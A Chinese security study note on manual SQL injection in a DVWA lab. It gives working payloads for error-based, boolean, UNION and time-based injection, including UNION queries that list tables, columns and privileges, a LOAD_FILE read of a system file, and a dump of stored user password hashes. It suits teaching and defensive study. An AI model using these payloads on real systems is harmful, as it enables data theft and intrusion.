安全学习笔记day9-sql注入手工

本文详细介绍了SQL注入的四种主要类型:基于错误的注入、基于布尔的注入、基于union的注入和基于时间的盲注。同时提供了每种类型的实战案例,包括如何利用这些技术来查询数据库信息、表名、列名及具体数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、注入流程





注入类型:

1、基于错误的注入(错误注入思路:构造特殊sql语句,获取报错信息,确认sql注入点) 典型使用 '

2、基于布尔的注入(布尔注入思路:闭合sql语句,构造or或者and逻辑语句注释多余代码) 典型使用 ' or 1=1 -- 或者 admin' and 1=1  --

例子1:  SELECT * FROM `sys_user` WHERE user_id =''OR 1=1 -- '';



例子2:SELECT * FROM `sys_user` WHERE user_name ='admin ' AND 1=1 --'';


3、基于union注入(union语句用户联合前面的select语句,合并查询更多信息,一般通过错误/布尔寻找到注入点后通过union进行查询更多信息)

例子: select[colums]from[table] or union select x , y ,z ...


4、基于时间的盲注

1、使用方法: dvwa中 sql注入页面中 

在表单中输入  1' or sleep(2) -- '


sql语句原型:

SELECT user_name,user_id FROM `sys_user` WHERE user_name ='1' OR SLEEP(2) --'';

二、一般过程:

1、猜测数据列数 


2、查询数据库


实战: 

A、查询表名:'UNION SELECT 1,table_name from INFORMATION_SCHEMA.tables -- '    --找敏感表名信息


B、查询数据库版本以及数据库名称:SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT VERSION(),DATABASE() FROM INFORMATION_SCHEMA.tables -- '';    --找库信息


C、查询数据库:

SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT USER(),DATABASE() FROM INFORMATION_SCHEMA.tables -- '';


D、linux系统加载password信息

SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT LOAD_FILE('/etc/password'),DATABASE() FROM INFORMATION_SCHEMA.tables -- '';

渗透时转码为ASCAII HEX 


3、查询数据表


实战:

查询指定表的数据列:

SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='sys_user' -- '';

效果


延伸:查询用户特权以及表特权

SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='USER_PRIVILEGES' -- '';

SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='SCHEMA_PRIVILEGES' -- '';

4、查询数据列

查询刚刚探测出来的用户数据表(直接可以查询密码,但是密码不是明文 将来怎么办,我是菜鸟还没想明白,继续学吧 mark

SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT user_name,PASSWORD FROM sys_user -- '';



5、总结:


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值